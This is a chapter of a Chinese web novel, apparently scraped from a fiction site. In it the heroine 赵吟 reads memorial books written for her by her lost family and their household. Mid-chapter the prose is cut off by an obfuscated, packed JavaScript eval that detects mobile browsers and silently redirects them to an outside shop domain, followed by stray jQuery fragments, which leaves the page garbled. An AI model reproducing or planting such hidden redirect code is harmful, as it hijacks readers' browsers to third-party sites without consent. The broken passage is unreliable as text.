文趣网 > 其他小说 > 山之阿 > 35. 第三十五章
    沈夫人将箱子掀开一个缝,门缝外也闪过考究的长靴,腰间的令牌和佩剑。

    急促的敲门声伴随着脚步声,在天色欲曙的时刻带来沉沉黑暗。

    沈长更脸色一变,他与夫人对视一眼,两人默契地放慢呼吸,不动不响。

    敲门声越来越急促,最后“砰”一声,门直接被撞开。

    几个官兵模样的人大咧咧走进来,语气冷漠,“私藏赃物,你可知罪?”

    沈长更挡在箱子前挺直胸膛:“小民不知,何为赃物?”

    有一人冷笑推开他,直接用腰间的剑挑开箱子。

    屋内所有人均发出吸气声。

    他们都以为里面是金银珠宝,抑或是奇珍异宝。

    绝无人会想到,这是三大箱满满的书。

    暗蓝色的封面上并无一字,只有几处深色水渍。

    有一人弯下腰,胡乱捡拾起一本。

    沈长更记得很清楚,翻开封页后,此人满是戾气的脸庞突然变得僵硬,他用粗硬的手指慢慢抚平书页上的褶皱,那是他刚刚大力所致。

    看了片刻后,他又拿起另一本书,这一次的动作分外小心,如同害怕惊扰了一湖水。

    另一人奇怪地看着他,也抄起一本书,翻开的一瞬间,他紧皱的眉头舒展开去,然后吸了下鼻子。

    天光已取代月光,粗暴闯进门来的官兵沉默地将书放回箱子里,沉默地离开。

    有一人在走至门口时又突然回身看向木箱,用手擦拭了一下眼角。

    从此之后,再无人来过。

    可沈长更仍不敢掉以轻心,书不是金银,它怕水、怕火、怕潮、怕鼠蚁,夫妻两人犯了难。

    沈夫人将赵宴所赠银子全部拿出,在一个天高云淡的清晨作出决定。

    “再建一层楼!”

    沈长更找来工匠,严谨而细致地提出要求。

    “屋子要通风,防潮,明亮,还要避免阳光直射。最好有很多书柜,能防潮防灰避鼠虫。”工匠目瞪口呆,“你看起来不像个读书人,这间屋子要给谁住?”

    沈长更微微一笑,“只给书住!”

    书籍静悄悄地躺在书柜里,沈长更每日打扫检查,一丝不苟。

    书塾先生闻言前来,赞叹道:“这书房比我的都要考究!只是,怎么没有书桌和灯烛?”

    他看向书柜,意欲借走一本。

    沈长更婉拒:“书本有主人,我不能擅自外借。”

    “主人?是谁?”

    起初沈长更也不知道,赵宴留下的信息模棱两可。他不知道这些书要留给谁,也不知道自己要等待谁。

    可当他翻开一本书,当他翻开所有书——

    怪不得无需多言。

    因为,每一本书的开头都是她。

    他等了一年又一年。

    终于,赵吟来了。

    赵吟抬起头,看向屋角处的木制楼梯。

    李春序与吴风依都笑着道:“快上去啊!”

    赵吟起身,扶着栏杆一步步走上去。

    在永别陈雪娘后,在走过泥泞与狼藉后,在穿梭与历史和现实之后,她终与满架的书籍重逢相见。

    金黄的光从竹帘中透进来,落在地板上。

    落日悬在天边,余晖落在水边,赵吟一会儿看向远处的江面,一会儿看向摇曳的船帆,就是不肯走到书架边。

    往事的秘密曾经困扰她,吸引她,令她日夜思量,可当它就在眼前,她却害怕翻开。

    白鸽落在窗柩上,摇头晃脑走了一会儿后毫不留恋地飞远。

    木浆与墨的气息萦绕在笔尖,让她想起无数个安静的午后。

    赵吟走过去,随心抽出一本。

    她聚焦视线,轻柔又坚定地翻开第一页。

    首先映入眼帘的是两个字:

    “阿吟。”

    右下角署名赵宣棠。

    又翻开一页,她倏忽笑出声。

    那是一张画像,一个年轻男人衣冠考究,他微微含笑,怀里抱着一只猫。

    右下角写——“见画如面。”

    再翻开一页,是整齐而遒劲的字迹。

    赵宣棠在问她,现下身多长,体多重,像不像他?

    赵吟轻声回答,仿佛真的与他面对面。

    然后,他向赵吟介绍自己。

    “为父身长五尺七寸,马术京中属第一,无人能敌。

    好吹笙,善交际,喜休沐。

    晨起诵读,勤练书法,吟咏诗词,至夜方歇……”

    旁边有人用朱笔批注:“诵读后复睡,午时方起。”

    “喜下棋。”旁边又有批语:“常悔棋。”

    赵吟笑出声,一字一句看过去。

    赵宣棠说他腌得一手好梅子,初夏制成梅子醋,府中之人争相饮。旁边有人批注——属实。

    他还说,怀里抱着的猫甚烈,但曾击退梁上君子,是以府中之人对他甚是优待,赐它芳名“赵大顺”。

    批注云:苦恋邻家之猫三年矣。

    他还提到府内有一棵银杏树,落果时节,甚臭,但银杏酒可治冻疮。

    他也教导阿吟要宽以待人,不轻不媚。困了就睡,累了就歇,莫苛求自己。希望她——宁做我。

    一整本翻完,她又拿起一本,署名还是赵宣棠,里面有一些家长里短的琐事,还有他听来的奇闻异事,甚至告诉她,她的伯父赵宣棣苦恋邻家之女而不得。

    旁边有人批注了硕大两个字:放屁!

    这本书的最后,他写道:

    身随烟逝,魂寄辰星。

    遥祝阿吟,一世河清。

    赵吟掩面泣,长跪在地。

    书本躺在她身边,被风翻动,轻柔地碰上她的腿。

    眼泪被风吹干,她重新拿起一本。

    拿起来的瞬间,赵吟冥冥之中感觉,这会是陈延芝。

    翻开来,真的是。

    照旧是一副画像,画上人头发全部绾起,抱着一束荷花温温含笑。

    赵吟抚摸着,喊了一声“阿娘”。

    透过这些文字,她看见了一个鲜活的陈延芝。

    她精于诗词,功力在赵宣棠之上,喜好游山涉水,但无法尽兴而为。

    爱看戏文,常常感动落泪。

    种得一手好花,不似赵宣棠,人送外号“百草枯”。

    ……

    在爱看戏文那段文字旁边,画了一个哭泣的小人,而在“百草枯”三个字旁边,有人批注:荒谬!

    她告诉阿吟许多生活常识,晒衣物要翻面,忧虑过度时不要饮茶,不要贪凉,头发未干不要吹风……

    还有各种胭脂配方,怎样搭配衣物。如何爱人,如何识人。哭泣时要怎么办,难过时要怎么变好。

    那些文字絮絮叨叨,似乎想要说尽无限事,但又囿于时间精力之有限,所以时而重复时而琐碎,偶而不成句章。

    最后,她说,尽管不能常伴阿吟身旁,但始终会与阿吟同悲同喜同泣。

    旁边有很多字迹不同的批注,都写着三个字——

    吾亦同。

    天黑了,李春序小心翼翼走上来,她看到赵吟坐在一堆书中不声不响。黑暗中,她看不清赵吟神情,却没由来感到心酸。

    她将手里的灯烛放下,轻手轻脚走下楼梯。

    室内恢复明亮,赵吟揉揉酸痛的眼睛,重新回到书本之间。

    手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593078|202654||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头这一本,署名大厨孙正亮。字迹潦草张狂,偶有墨团涂抹。

    翻开来,画上人五官方正,手拿大勺。

    他在书中写明府中诸人饮食偏好,并告诉赵吟,花椒焙干碾碎,浇热油与豆腐同拌,有肉之滋味。

    她跪坐在地一本本翻开,看到了她的伯父赵宣棣,叔父赵宣椿,小姑赵宣梅,小舅陈延年……还有花匠,管家,更夫,绣娘……

    他们隔着光阴娓娓道来曾经,问候她,教导她,以文字拥抱她。好奇她长大后会是什么模样,叹息不能陪伴她。

    原来不止她想认识他们,他们亦想认识她。

    赵吟躺在这些书籍之中,从溯鸟那里看到的画面纷至而来。

    她终于知道他们在写些什么,也明白那是他们共同的决定——舍全族,换一人。

    他们或许有悲愤与不平,有穷途之哭与末路之叹,可他们都遥祝阿吟,一世河清。

    她从来不是孤身一人。

    而那本她唯一拥有过与父母有关的东西,那本曾经被烧毁的诗集,又重新出现在这里。

    呜咽声渐起,赵吟放声大哭。

    她流过很多次泪,压抑地哭,开心地哭,难过地哭,小声地哭。每一次哭完,都会用力将眼泪擦去,然后继续走下去。

    现在,她恣意地哭泣,畅快地哭泣,认认真真地哭泣。

    楼下吴风依和李春序站起,担忧地往楼上看。

    沈长更抬了下手,“让她自己待会儿,都不要去打扰她,天亮了,就好了。”

    这个夜晚,吴风依与李春序借宿在这里,夜风中偶尔传来鱼腥味,他们凝神听着楼上的动静。

    没有动静。

    夜深人静,沈夫人拿了薄被轻悄悄地上楼,一眼看见合衣躺在地上的赵吟,她叹息一声,将薄被盖在她身上。

    无论动作如何轻柔,还是惊扰了她,可她并没有醒来,只是翻了个身,在梦中呓语:“阿娘。”

    沈夫人捂住嘴,竭力压下欲出口的哽咽,她顿了片刻,又继续轻拍她。

    第二日,赵吟抱着薄被走下楼。

    空气里犹有露水的气息。沈长更停下拉风箱的手,笑着道:“阿吟醒啦?”

    赵吟回他一笑。

    “对了,还有一事!”

    沈长更匆匆起身,在身上的围裙上擦了擦手。

    书房侧门打开,里面同样有好几口箱子。

    “这些年我将这些书手抄了下来,抄了有三份!就怕个万一!”

    翻开一看,沈长更居然连画像都临摹。

    赵吟看向他,认真道:“谢谢您。”

    沈长更不自在地搓手:“哪里的话,要不是赵将军,我哪有如今的生活!子孙满堂,吃穿不愁!”

    他看向这满室的书籍,有些为难道:“要怎么带走呢?”

    赵吟回答道:“一份留给您,还有的……”

    停住,她也不知道该怎么办。

    她四处飘零,不能将这些书籍随身携带,而蒲月山距此地远矣,一路颠簸风吹雨淋,不知能否安然到达。

    不过,她很快想到了解决办法。

    时空客栈。

    只是今日阳光明媚,怕是不能找到它。

    “沈叔叔,我想让你陪我去一个地方。”

    “好,去哪里?”

    翁仲石像伫立两边,高大威严,白发苍苍的老者正在清扫夹道上的落叶,背后是烟雾笼罩的青山,草地上露水晶莹。

    他看见远方两个人影,停下手中动作驻足远望。

    而后丢下扫把,三两步迎上前,声音满含惊喜:“是阿吟吗?”

    赵吟快步上前扶住他,笑意盈盈:“尚公公!”